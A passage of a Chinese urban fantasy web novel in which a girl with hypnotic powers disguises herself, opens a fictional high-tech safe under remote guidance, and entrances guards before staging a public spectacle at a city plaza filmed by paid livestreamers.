柔弱女也没注意到，她正趁着暴躁男注意力不在她身上的短暂功夫，操作着手机双开，一条信息就这么被水灵灵的发了出去，接着，她的手中，一个小小的圆形金属被她若无其事的重新粘回了项链上，那金属似乎带着磁力，乖顺的卡在了项链挂坠眼窝空掉的一个凹槽里，不动了。 另一边，停车场内，阿奇看到屏幕上的提示，开口，“她动了，正在追踪。” 干练女应道，“可算动了，真能忍，”她敲了敲不知什么时候带在耳上的联络器，“学长，幼鸟动了。” 17. 十七 ——出门后右拐，上二楼，第二间房，进门后右手边书架上有个根雕摆件，把它挪开，摆件下面的隔板可以拆卸，卸掉后内侧挡板有凹痕，在凹痕的右边，按一下。 地面上房间内装有干扰设备，一切相对精密的电子仪器在室内都无法正常运行。 阿七说这个防御系统是他哥哥弄的，他哥比他大13岁，是特调局的信息安全官。 ——之后里面的挡板会自动打开，双重锁，用我给你的钥匙，插进去后先右转三圈，再左转一圈，右四分之一圈，左半圈，再左一圈半。 小五穿着刘姨的衣服，为了让身材更贴合，干练女贡献了几件自己的衣服。 ——屏幕亮了吗？……好，不要拔钥匙，拔了会全屋上锁启动防卫系统……你没拔吧？ 小五松开捏着钥匙的手：“没有。” ——那就好……屏幕亮了以后，每隔十五秒输入框会变形，一共三个形状，这个是随机的，你等到横向的长方形，正方，横向，竖向，竖向的时候输入密码，横，正横，竖，竖，别记错了，没有试错次数，密码是22309。 小五等了一会儿，输入密码。 ——好了吗？……打开以后是个操作面板，你摸一下，面板正下方，有个凹槽，把我给你的芯片塞进去。 小五照做。 “好了。” 她盯着眼前看不懂的高科技看了两秒，重新将层层防护还原，转身走出了书房。 ——一般情况下，刘姨送完饭都会直接离开，不会待太久，偶尔开火做点火锅什么的，你……联络人有两个，伪装成同性情侣，他们虽然没特调局的那些人厉害…… 小五已经走到大门口，手搭在了门把手上。 “担心我哦。” ——……我是担心我们出师未捷。 “嗯嗯嗯” 小五敷衍的回了一串，打开门走了出去。 不到七点，天色已经开始暗下来了。 她走出院门，转向，来到隔壁的院门前。 监控设备里照出她的脸，是刘姨的脸。 她微微低着头，敛着眉眼，按了下门铃。 不一会儿，里面的门开了。 开门的是个帅气的小姐姐，小姐姐并没有来开院门，只是站在原地疑惑的看着眼前的人，“……刘姨？有什么事吗？” 小五能感觉到对方隐藏在疑惑下的打量与审视，她抬起头。 “您这里有辣椒面吗？家里没有了，想做点油泼辣子。” “辣椒面？辣……辣椒……” 仅小五可见的世界里，眼前带着微弱灵光的小姐姐身上起伏平和的气逐渐凝固，仿佛变成了一块接近透明的固体。 小姐姐的声音也跟着一起凝固了。 小五看着对方，抑制住自己想要眨眼的冲动，轻声说，“开门。” ——……他们联络我了，我告诉他们没事，他们那里也有检测设备，我会让飞廉十六号暂时休眠，十分钟，够吗？ “嗯。” 帅气小姐姐一脸恍惚的倒退两步，背景音里似乎有人在问怎么了，小姐姐没有回答，只是在门内的墙边按了什么。 院门开了。 小五穿过院门，走了进去。 十分钟后，一只黑色的小虫子从正在翻阅手机的小五的耳朵里钻了出来，它围着小五转了一圈，又飞到旁边沙发上排排坐的三个旁边。 “居然是三个人……他们怎么了？” “暂时智熄。” “啊？……哦，室内智控已经成功接管，你们可以过来了。” “这边呢？”小五收起手机，很自然的装进自己的口袋里。 “有飞廉十六号。” “行。” 小五走到排排坐的三人面前，微微弯腰，盯着他们看了一会儿。 她轻声说，“去阿七家。” 沙发上的三人仿佛在挣扎，身体不协调似的摆动好几下，最终，还是在小五的视线中站起身，往外走去。 小五跟在他们身后，顺手带上了门。 不久后，恢复神志的三人只穿着一身内衣，在关了阿七他们大半年的地下室内面面相觑。 阻挡异化人的检测系统被阿七一键恢复出厂设置，还原了它最初作为临时关押场所的属性，地下室内的电子设备也被全部上锁，使用权只在阿七手中。 而始作俑者们，已经驱车离开。 开车的是暴躁男，他现在倒是不怎么暴躁了，只是情绪异常兴奋，车开的极其飘忽，坐在他正后方的干练女抓着扶手，被晃的忍无可忍，抬腿给他的椅背狠狠来了一脚。 副驾驶的阿七将一部手机递给后座的小五。 “里面有定位，不能直接清理掉，我给关盒子了。” “嗯嗯。” 小五接过手机。 “锁屏也关了，你可以随意用。” “谢谢阿七哥哥~” 阿七：…… 他默默转移话题，“现在直接去新历广场？” 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新历广场并不是安市最大的那一个，却是最繁华的那一个。它的周围有平市规模最大的商业中心，最受欢迎的饮食街和娱乐场所，以及流量最大的地铁站。 带崽的，逛街的，聚会的；广场舞，运动，象棋。来这里干什么的人都有，一天当中，傍晚到半夜这段时间，就是新历广场人气最旺的时候。 人气最旺的广场上没几个凳子，却依旧有很多人围着广场转悠。他们左看看摔来摔去爬起来依旧是一条好汉的滑板少年，右看看挥舞着辫子抽陀螺威风凛凛的大爷；在广场舞方阵后面跟着伸伸胳膊伸伸腿，再跑去年轻人的随机舞圈子那里歪着脑袋不明觉厉的看。 “以前没仔细观察过，咱们的夜生活真的很丰富多彩哈。” 一个长相平平，但笑容喜庆的男人看了眼同伴在直播死角递过来的手机，那是这次的雇主发来的指示。 他不动声色的接着对着镜头说道，“谁四肢出走了？我跳的不好看吗？我那动作不标准吗？” “不识货，啧啧啧，不识货啊，我这种才是正经锻炼的好吧。” 他举着手机开始往指定的方位走，这次的老板可大方，他自己内心也好奇老板说的‘神秘现象解密’究竟是个啥，不自觉的将期待的兴奋带到了语气里。 同伴出现在镜头中，两人开始了一轮以大众都市夜生活为主题的激烈讨论，节目效果显而易见的好。 正聊着，一道突兀的声音打破了周围的和谐。 两人循声望去，又在直播间内水友们好奇的要求下将镜头也转了过去。 一个平平无奇，甚至还有点土里土气的中年妇女，正站在人群之中。宽大的衣服半点也不合身，像是偷穿别人的，脸上的表情也一点也不符合她的外貌，像是偷长别人的。 特效化妆？节目效果？ 总之，哪哪都古怪。 古怪的人正扬起双手，高声呼喊。 “全体目光向我看齐！！” 这一声可谓振聋发聩，也不知道为什么，中年妇女周围的人竟然真的都停下自己正在干的事，看了过去。 男人的直播间弹幕刷过一大波的‘中二病？’‘搞抽象？’，问号重重叠叠，他和同伴在镜头后面面相觑。 想象中的高人形象与现实完全不符，可说的话的确是约定好的暗号。 如果不是账户上切切实实多出来的真金白银作保，他俩真觉得这就是水友闲的没事干给他俩安排的一次整蛊项目。 男人想了想，压低声音，捂住自己的麦。 “先看看。” 同伴点了点头，他示意男人看向旁边。 那里是另几名自媒体人，同市混的不错的自媒体人他们基本都熟悉。 认出人，男人暗自感叹——嚯，还真叫来这么多啊。 …… 小五站在人群中央，在一众人莫名其妙的注目下，开口。 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